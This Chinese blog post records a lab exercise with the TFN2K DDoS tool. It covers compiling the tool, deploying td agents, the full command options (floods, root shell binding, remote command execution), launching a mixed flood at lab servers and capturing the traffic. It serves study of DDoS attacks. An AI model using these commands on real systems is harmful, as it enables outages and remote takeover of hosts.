本人写这篇博客的目的,并不是我想成为黑客或者鼓励大家做损坏任何人安全和利益的事情。因科研需要,我学习软件TFN 2K
的分布式拒绝攻击,只是分享自己的学习过程和经历,有助于大家更好的关注到网络安全及网络维护上。
需要强调的是,进行未经授权的网络攻击是非法的,违反了法律法规,可能导致刑事起诉和重大法律后果。
一定要尊重法律和道德,不要参与或支持任何网络攻击行为。如果你是网络管理员,应该采取适当的安全措施来保护你的网络免受DDoS
攻击的影响。
这篇文章仅供技术参考,千万不要用其做一些违法操作!如果你利用它来做一些不合法的事情,那结果与我无关。
什么是DDos
DDoS
攻击(Distributed Denial of Service Attack
),即分布式拒绝服务攻击。最简单的定义就是:多台电脑对一台电脑的攻击,占用目标服务器或网络资源的攻击行为
什么是TFN 2K
TFN 2K
通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同攻击,是DDos
的实现工具
攻击体系
主控端—运行TFN
客户端,来遥控并指定攻击目标,更改攻击方法
代理端—被植入并运行TD
进程的牺牲品,接受TFN
的指挥,攻击的实施者
TFN 2K特性
TCP
、UDP
、ICMP
之一的数据包向代理端主机发送命令,攻击方法包括TCP/SYN
、UDP
、ICMP/PING
、混合攻击、TARGA3
等。我在个人本地服务器上部署了几台设备,来模拟应用场景。网络拓扑如下,需实现Master
控制两台Attacker
攻击两台Defender
在主控端Master
下载TFN 2K
软件(因软件的特殊性,本人概不提供相关的下载渠道),设下载并解压的文件夹名称为TFN2K
。
切换至下载目录,对软件进行编译,同时设置一个八位数的登录密码
cd TFN2K/src
make
编译后即可生成tfn
和td
登录所有代理端,将主机端的td
下载到代理端本地
scp root@192.166.60.1:/root/TFN2K/src/td ./
scp root@192.166.61.1:/root/TFN2K/src/td ./
为td
赋权,并执行文件,此时,代理端部署完毕
chmod 777 td
./td
可利用ps -a
查看进程,发现td
已经在运行了
可在主控端输入./tfn
查看相关参数
-P protocol
:设置服务器通信的协议。可以是ICMP
、UDP
或TCP
。使用随机协议作为默认值-D n
:为每个真实的请求发送n
个虚假请求以诱骗目标-S hostIp
:可指定源ip
。默认情况下随机欺骗-f hostlist
:存储TFN
的所有主控端的文件名,表示其中所有主控端均实现攻击操作-h hostname
:只利用该主控端发起攻击,也就是一对一的攻击,后面跟一个主机或IP地址-p port
:为SYN
洪泛指定TCP
目标端口-c ID
:攻击参数
-c 0
:停止攻击-c 1
:设置反欺骗等级设定,用法:-i 0
(完全欺骗)到-i 3
(/24个主机字节欺骗)-c 2
:改变攻击数据包大小,用法:-i
-c 3
:将根shell
绑定到一个指定的端口,用法:-i<remote port>
-c 4
:UDP
洪水,用法:-i victim@victim2@victim3@...
-c 5
:TCP/SYN
洪水,用法:-i victim@...[-p目标端口]
-c 6
:ICMP/PING
洪水,用法:-i victim@...
-c 7
:ICMP/SMURF
洪水,用法:-i victim@broadcast@broadcast2@...
-c 8
:MIX flood
(随机UDP/TCP/ICMP
攻击),用法:-i victim@...
-c 9
:TARGA3
洪水(IP
堆栈渗透),用法:-i victim@...
-c 10
:盲目执行远程shell
命令,使用-i
命令,一般还可用于远程命令控制在实现泛洪攻击前,先对所有的代理端进行测试,测试其是否可“听从”主控端的安排
创建host.txt
文件用于记录所有运行了./td
文件的代理端
echo "192.166.60.2" > host.txt
echo "192.166.61.2" > host.txt
操作tfn
向所有的代理端实现创建文件夹的命令,一般创建的文件夹都和td
在同一级目录
./tfn -f /root/TFN2K/host.txt -c 10 -i "mkdir TestMakeDir"
查看代理端可知,文件夹创建成功,表明主控端可操作所有的代理端
先为被攻击服务器安装流量抓包软件,在DF1
上安装tcpdump
apt install tcpdump
测试抓取15
秒内的流量,并输出为文件形式
tcpdump -i eth1 -w "getFlow.pcap" -G 15
在DF2
上安装tshark
apt install tshark
# 倘若不能安装便先安装wireshark
apt install wireshark
测试抓取15
秒内的流量,并输出为文件形式
tshark -i eth1 -a duration:15 -w "getFlow.pcap"
开启流量捕获,利用控制端Master
向代理端发出攻击请求,利用MIX flood
攻击DF1
和DF2
./tfn -f /root/TFN2K/host.txt -c 8 -i 192.166.65.1@192.166.66.1
15
秒后停止流量攻击
./tfn -f /root/TFN2K/host.txt -c 0
查看DF1
中捕获的流量,发现存在大量UDP
和TCP
数据流
tcpdump -r getFlow.pcap
因没有直接记录数据大小,可以通过ls -l
查看文件大小间接来判断捕获的数据流,可知确实捕获了大量数据
查看DF2
中捕获的流量,DF2
中更直观,表明捕获了约75
万个数据流
tshark -r getFlow.pcap
通过ls -l
查看文件大小,可知确实捕获了大量数据
我们发送的是MIX flood
,表示随机UDP/TCP/ICMP
攻击,但是在捕获流量的文件中并没有查看到ICMP
类型的流量,这是为什么呢?
通过我查阅资料可知:ICMP
洪泛攻击现已经过时,不再有效,网络管理员和服务提供商已经采取了各种防护措施,包括用于过滤恶意流量的设备和防火墙规则,这些自带的防护措施可以检测到大量的ICMP
流量,并在检测到异常或过多的流量时采取措施,以减轻对目标系统的影响。但UDP
和TCP
攻击可能更难检测和阻止,因为它们模拟更常见的网络通信模式。